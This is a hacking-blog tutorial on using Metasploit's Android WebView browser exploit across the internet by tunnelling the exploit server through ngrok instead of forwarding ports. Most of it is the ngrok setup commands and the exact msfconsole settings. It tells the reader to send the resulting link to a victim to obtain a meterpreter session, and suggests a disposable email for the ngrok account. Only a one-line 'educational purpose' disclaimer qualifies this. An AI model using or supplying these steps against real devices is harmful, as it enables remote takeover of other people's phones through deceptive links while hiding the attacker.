Use Metasploit on WAN without Port Forwarding

In
all of my previous Metasploit articles or videos, I am always performing
attacks on LAN. Lots of people were asking me how to use Metasploit on the
Internet or WAN. One way is to port forward the router. But in today’s post, I
am going to use a different method which doesn’t require any port forwarding.





Setting Ngrok

·        
First of all, we start with creating account at Ngrok.com
·        
Use any disposable email service to sign up.
·        
After signing up, log in to Ngrok.com and download the ngrok
file.
·        
Now extract the file and open terminal in that folder.
·        
Log in again to your ngrok account and type the commands
available on that page.

·        
Copy the authentication code command and paste in the terminal.

./ngrok authtoken
your_authentication_code

·        
With the above command, the authentication code will be saved in
your computer.
·        
Now type the following command to start the tunnel.

./ngrok http
4431 

·        
Now the ngrok will start a tunnel to your computer. Copy the
Ngrok URL we will need this URL later in this tutorial. Also remember the port
in above command.

Using Metasploit with
Ngrok

·        
For this tutorial, we are using Android web view exploit.
·        
Open terminal and type msfconsole.
·        
Now type the following command to load Android web view exploit.

use
exploit/android/browser/webview_addjavascriptinterface

·        
Now while setting SRVHOST and LHOST use localhost.

set srvhost localhost
set lhost localhost

·        
In SRVPORT we will use same port that we have used while
starting ngrok .i.e 4431.

set srvport 4431

·        
Now set URIPATH to /. Use the following commands.

set uripath /

·        
Above three steps are most important, so don’t change the
values.
·        
Then enter run to start exploit.
·        
Now you can send the link that you have got when you started
Ngrok to the victim and you we be able to get the
meterpreter session over the internet

Video Demonstration


Use Social Engineering
Toolkit without Port Forwarding


NOTE

·        
Don’t change the values of srvhost, lhost and uripath.
·        
Make sure srvport and port you set while starting ngrok are
same.
·        
Only for educational purpose. 

Author:

This
article has been written by Aditya Joshi who writes for creedsec.net
and can be reached on @darktruth190
Irfan Shakeel
Irfan Shakeel, the founder of ehacking project, he also hosts cyber security training classes at EH Academy. He has discovered many vulnerabilities in the famous platforms (like Google, Dailymotion, Harvard University & etc.). He specializes in Network hacking, VoIP pentesting & digital forensics. He is the author of the book title “Hacking from Scratch”.

Most Popular

Top Suggestions To Minimize Cyber Attack Risks

The Cyber Protection and Cyber Attack definition play an important role in maintaining both global security and operational productivity due to the rapid proliferation...

Policing the Dark Web (TOR): How Authorities track People on Darknet

The darknet, especially the TOR network, can be hacked, or the information of the people using it can be extracted in the plain text....

Best VPNs for Android – and Why You Need One Now

Most people protect their laptops and computers from potential cyber-attacks but only consider the cybersecurity of their mobile devices when it’s too late. In recent...

The Levels of the Internet Surface Web, Deep Web, and Dark Web

The internet, invented by Vinton Cerf and Bob Cahn, has evolved since its creation in the 1960s. In 1990, the World Wide Web transformed...

LOOKING FOR HACKING RECIPES FORM THE PRO?

Then sign up for FREE to the ehacking’s exclusive group. You will get the exclusive tips/tricks, tutorials, webinars & courses that I ONLY share with my fellow on this exclusive newsletter.